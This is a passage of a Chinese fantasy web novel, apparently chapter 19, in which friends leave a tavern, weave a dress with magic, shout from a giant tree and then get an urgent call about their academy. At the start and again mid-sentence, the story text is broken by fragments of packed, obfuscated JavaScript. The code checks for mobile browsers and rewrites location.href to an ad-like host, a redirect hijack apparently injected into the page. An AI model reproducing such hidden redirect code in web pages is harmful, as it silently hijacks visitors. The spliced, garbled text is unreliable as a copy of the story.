RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176525|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是的!”那个人愉快地回答,“我要回利科尔克见我亲爱的菲西亚。晾梅茶……当然的,我会带很多回来,我也想念这个的味道了。” “如果幸运,我会带着我的亲爱菲西亚一起回来,包括你喜欢的晾梅茶,你喜欢的风向草……那么就祝我一切顺利!” 画面逐渐拉远,同时其中的两个人物开始挥手道别。 他们脸上是近乎满溢的幸福。 “啊……” 我听见了这一声叹息,向旁边的达克看去。 他出神地看着面前的画面,眼睛里映着画面中逐渐缩小的的宫殿,画面中的田野,画面中的人。 紧接着,达克的表情逐渐严肃起来,并且开始向怀念变化。 “啊……”他说,“这的确是拉帝亚斯的景色,我很久没有见到了……” “你还去过拉帝亚斯?!”人群中有人打岔,“哇哈!你从来没有说过!我说,不是?如果我去过拉帝亚斯,我会把这件事成天挂在嘴上,让所有人都知道!” “这就是为什么我和你不一样,你个讨厌鬼!”达克的表情又变得正常起来,他笑着骂了一句什么,猛灌了一大口啤酒。 “听着!我只是在那里逛了一圈,知道吗?!我只是跟着去那里的商队了一阵子——他们求我护送。”达克夸张地张开双臂,就像是他对此非常自豪一样。 其他人哈哈大笑了起来。 气氛一时间热闹到了一个新的高度,有人开启【炫光】,把整个酒吧弄得彩光四射。 “臭家伙!”达克大声骂他,“你看看……你把我心爱的酒吧弄成了没有品味的样子!” 又是一阵哄笑,很多人闹着跳着,转着圈地唱歌,和不认识的人一起喝酒。 我和哈耶达这里是唯一的一片净土,可能是因为是个人都能看出来的未到喝酒年龄。 我抱着猫,把达克热情提供的一口量蜂蜜火辣辣喝完了,紧接着,我举起了酒杯。 酒杯带着通明波纹,款式独特,一看就是费了功夫去选购的,而当我把它对着灯光时,暖黄色的光线透过玻璃杯,折射出仿佛蜂蜜般的色泽。 很突然地,玻璃杯的光线变了一下,我扭头往旁边看去。 达瓦不知什么时候凑在我旁边,轻拍了一下我的肩膀。 “喂。”他轻声说,这时他的表情出奇地严肃,“那个‘经历续写’……” 我眨了眨眼。 “听我说,”他说,“‘过去’和‘未来’不是能被轻易玩弄的。” 19. 第 19 章 我在离开酒馆时还在思考这句话,但实在不明白这是什么意思。 我的苦恼连法尔拉特都看出来了。 他直截了当地问我是不是还对高萼花酒馆里的酒念念不忘。 这个人在说这话时,眼睛闪闪发亮。 我觉得这是看见了同好的表情。 但这绝对不可能,法尔拉特连酒的味道都尝不出来。 他对和猫大王一起跳舞念念不忘还有可能。 事实证明的确是这样,当我们一同在田野上散步时,法尔拉特企图以绝对的热情邀请黑猫猫大王和他跳舞。 “无论你跳得如何,”他双眼放光,“我都能保证你的皮毛不受到一点的损伤——当然,这是在你答应了的前提下。” 我:…… 猫大王:…… 这孩子总是说出一些神奇的话,就像是当时他决定开启猫猫乱舞盛会一样。 不过,他说对了一件事,这个地方是一个很好的舞台。 西斯大草坪,位于高萼花酒馆的东南方向,位置比较偏,也正因如此人迹罕至。 我们非常幸运地独占了这里。 法尔拉特欢天喜地地扛着流泪的猫大王跳舞去了。 “我觉得他说不定会成为一名很好的舞者,”我对哈耶达吐槽,“他似乎对跳舞具有无限的热情。” “你有没有想到,他可能只是喜欢捉弄动物。”哈耶达笑着回话,他明显地认真思考了,“他的根源概念是【使命】,如果他想,应该能够听懂动物的语言。” 我恍然大悟。 法尔拉特是一个现实版的迪斯尼公主。 他善良、美丽、能听懂动物说话,还有观测者充当仙女角色帮他成长。 “我们可能要给他准备一条舞裙了。”我眨眨眼,“这样才能去参加王宫的舞会” 哈耶达严谨地思考了一下,举双手赞同。 “我觉得法尔拉特也不会在意,”他说,“说不定他会很乐意穿上舞裙和猫大王一起跳舞。” “我们可以使用【控制】。”我提出,“我们可以编成一条很好的裙子。” 高萼花、滚轮草、星星艾尔米娅、毛衣草的茎叶,都是很好的材料,而这些在高斯大草原上非常充足。 我们对视一眼,说干就干。 为了更快地采集材料,我启用了【飞行】,低空飞着割下需要的茎叶。 而哈耶达用【控制】将这些茎叶变成裙子。 最终出现的成品我们都很满意,法尔拉特也是。 他穿着我们做成的裙子一样的长袍站在草原上,风将袍子吹得呼呼作响。 哈耶达盯着别特亚身上的袍子看,更准确地说,是盯着无形的风看。 然后他转头对我说:“今天的风很不错,我知道一个好地方。” 这的确是一个很好的地方。 高斯大草原的一角有一颗历史悠久的巨木。这种树木能生长很长时间,并且随着生长时间的拉长,它的树干会不断变粗,高度会不断提升,直至到达云端,因此也有一种说法,巨木又名“云端之木”。 我们登上了这一棵巨木。 我看向我的挚友们,他们现在眼睛发亮,激动地看着面前的景色。 风从我们耳边穿过,将我们的发向后带去,将我们的衣袖吹成了弧状。 我们在风中站立,又仿佛变成了风。 “别特亚绝对会为他没有和我们一起而痛心。”哈耶达大声说,他的话乘风而来,又散在风中。 他身上的猫被声音吓了一跳,僵硬地抓住哈耶达的肩膀,炸开了浑身的毛。 我注视着他们,他们咋咋呼呼,在风里无比鲜活。风将他们与我隔绝,我看见他们张口闭口,但声音却听不真切。 我突然觉得他们离我很近,却又很远。 “过来!”哈耶达这时扑向我,“站在这里!”他把我拉到巨木的边缘。 法尔拉特拽住我的衣领,确保我不会逃跑,然后把猫大王放在了我肩上。 我疑感地看向他们,黑发的青年对我大喊了起来。 “你现在可是站在巨木上!”哈耶达说,“你不觉得你应该做些什么吗?只是站在这里简直太没创意了!” 黑猫赞同地用炸毛的尾巴扫了下我的脖子。 我感觉我的心在发痒。 我看向巨木的边缘,那里是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176526|165200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极力蓬松的云,层层叠叠,连绵不断。而在云朵中,繁茂的绿延伸出来,直上云端。这抹绿色太过蓬勃,太过鲜亮,因此在注视着这些的我,仿佛耳边响起了敕敕的枝叶生长声。 “I am the king of the world!”哈耶达在我耳旁边呼喊。 他使用了【控制】,使他的声音扩大了,如同飞箭在刹那间突破了风的阻隔。 飞箭在空中掠过,穿过绵软的白,穿过鲜亮的绿色——然后击中了我。 我感觉心中有什么东西在膨胀,最后逐渐充满整个身体,推动我做些什么。 于是我也将手围成喇叭状,放在嘴边,然后大声呼喊:“I am the king of the world!” 我畅快淋漓地大喊大叫,呼喊得面色发红色、浑身发热,血液在我体内沸腾,又被迎面而来的风安抚下去。 我们几个人抛弃了大脑,在巨木上胡乱吼叫着些什么,最后又停歇了下来。 “真痛快。”哈耶达仰面朝上看向天空,近乎喃喃地对我说。 猫从我肩头跳下来,踩到哈耶达身上,用尾巴拍了下我的脸。 “对你的衣食父母放尊重点。”我说,但我其实已经懒得计较这点事了。 因为我现在快乐到一切都无所谓,轻快地快要飘起来。 “我喜欢巨木。”法尔拉特说,而这时我和哈耶达对视了一眼。 “我喜欢风。“哈耶达说,他装得十分严肃。 “我喜欢没头脑。”我说,这时我已经不太能憋住笑了。 我们一致地笑作一团,而猫在一旁“喵喵”地附和 我学着像哈耶达一样躺在巨木上,仰望天空。 我感觉我的心在颤动,如同即将破土而出的树种。 我心中响起枝叶生长的敕敕声。 ### 当我们玩够了,开始从这里回去,路上平板突然响了起来。 “喂,”哈耶达不满地拿出平板,“怎么了?” 是来自别特亚的通讯。 他的声音着急而疲惫,我的心瞬间提起。 “快回来,学院出事了。”